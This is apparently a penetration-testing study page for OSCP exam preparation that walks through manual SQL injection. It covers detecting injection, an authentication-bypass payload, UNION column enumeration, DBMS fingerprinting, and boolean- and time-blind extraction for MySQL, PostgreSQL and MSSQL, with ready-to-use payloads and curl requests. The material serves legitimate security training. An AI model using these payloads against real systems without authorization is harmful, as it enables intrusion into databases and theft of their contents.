Establish SQL query influence and DBMS context
Needs: Input reaches a SQL query; a valid request and stable response baseline exist
Change one parameter and compare a normal value, quote, true condition and false condition
Exam boundary: the current OSCP+ exam guide prohibits SQLmap and other automatic exploitation tools. The following procedure is manual. Recheck the current guide before an exam.
# Change one parameter and compare a normal value, quote, true condition and false condition
VALUE
VALUE'
VALUE' AND '1'='1
VALUE' AND '1'='2
# For a numeric context
1
1 AND 1=1
1 AND 1=2
# In an authorized disposable lab, preserve the application's quoting and comment syntax
' OR 1=1-- -
administrator'-- -
# First establish column count
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -
# Or increment NULL columns until the query succeeds
' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL-- -
# Then find a displayed text-compatible column
' UNION SELECT NULL,'MARKER_7F31',NULL-- -
# 4. Extract only after fingerprinting the DBMS
MySQL: ' UNION SELECT NULL,version(),NULL-- -
PostgreSQL: ' UNION SELECT NULL,version(),NULL-- -
MSSQL: ' UNION SELECT NULL,@@version,NULL-- -
# Choose a stable page marker or content length for true/false comparisons
' AND SUBSTRING((SELECT version()),1,1)='P'-- -
' AND SUBSTRING((SELECT version()),1,1)='X'-- -
# DBMS-specific time proofs
MySQL: ' AND IF(1=1,SLEEP(5),0)-- -
PostgreSQL: '; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--
MSSQL: '; IF (1=1) WAITFOR DELAY '0:0:5'--
Decisive output: the marker appears in a response location controlled by the injected row. Match the exact column count and data types.
Verify → Require repeatable, query-dependent behavior and preserve request/session controls; identify DBMS evidence before DB-specific payloads.
If it fails → Generic errors, WAF responses, caching and broken sessions can imitate SQLi. Rebuild the valid request and test a discriminating control. More detail ↓
Explanation & examples
Establish SQL query influence and DBMS context
- USE WHEN
- Database errors or controlled true/false response differences
- STARTING ACCESS
- A reproducible application request and a controlled input or access-context comparison
- RESULT
- A validated injection context and a chosen manual extraction approach
Recognize the clue
Map a data lookup/login/search request, preserve its session and compare one changed input with normal/invalid controls.
curl -skG --data-urlencode 'PARAM=NORMAL_VALUE' http://TARGET:PORT/PATH
curl -skG --data-urlencode "PARAM=NORMAL_VALUE'" http://TARGET:PORT/PATH
Normal request: expected rows
Changed request: SQL syntax error near INPUTMeans: A database-looking error ties the input to a possible query parser; it is a hypothesis until controlled predicates affect query behavior.
Confirm: Identify quote/query context and repeat true/false comparisons; establish the DBMS before DB-specific payloads.
- After validation
- A compatible true/false pair reproducibly controls the query result: choose a manual SQL method.
- Ruled out in this context
- The error is a generic proxy/application response unrelated to SQL controls: reject this query-influence inference.
- Still inconclusive
- An unstable page or expired session makes differences uninterpretable; restore a valid baseline.
Troubleshooting: Generic errors, WAF responses, caching and broken sessions can imitate SQLi. Rebuild the valid request and test a discriminating control.
Additional prerequisite checks
curl -skG --data-urlencode "PARAM=VALUE'" http://TARGET:PORT/PATH
Exam boundary: the current OSCP+ exam guide prohibits SQLmap and other automatic exploitation tools. The following procedure is manual. Recheck the current guide before an exam.
1. Establish query influence
Replay a valid request in Burp Repeater. Change one parameter and compare a normal value, quote, true condition and false condition:
For a numeric context:
Evidence: a database error, stable true/false response difference, or repeatable database-specific delay. An isolated
500, WAF block or generic application error is not enough.
2. Authentication-bypass candidate
In an authorized disposable lab, preserve the application's quoting and comment syntax:
Verification: identify the resulting account/session and perform a separate authorized request. A redirect or welcome string alone can be misleading.
3. Determine UNION shape
First establish column count:
Or increment NULL columns until the query succeeds:
Then find a displayed text-compatible column:
Decisive output: the marker appears in a response location controlled by the injected row. Match the exact column count and data types.
4. Extract only after fingerprinting the DBMS
Use the confirmed DBMS's catalog and concatenation syntax rather than cycling unrelated payloads. Keep each extraction request reproducible in Repeater.
5. Boolean- or time-blind extraction
Choose a stable page marker or content length for true/false comparisons:
DBMS-specific time proofs:
Repeat controls. Time-based results are invalid if application latency overlaps the chosen delay or the condition cannot be changed independently.
Why it works
SQL syntax depends on query position, quoting, comment rules and DBMS. A quote-induced error is a hypothesis until a controlled expression changes query behavior reproducibly.
Worked example · hypothetical
Observation: a quote causes a database-looking error. Test: compare syntactically compatible true/false conditions with normal requests. Illustrative output: only the false predicate removes a known row. Interpretation: query influence is confirmed and its context constrains the next method.
New identity, privilege, host or route? Re-enumerate → All topic tasks →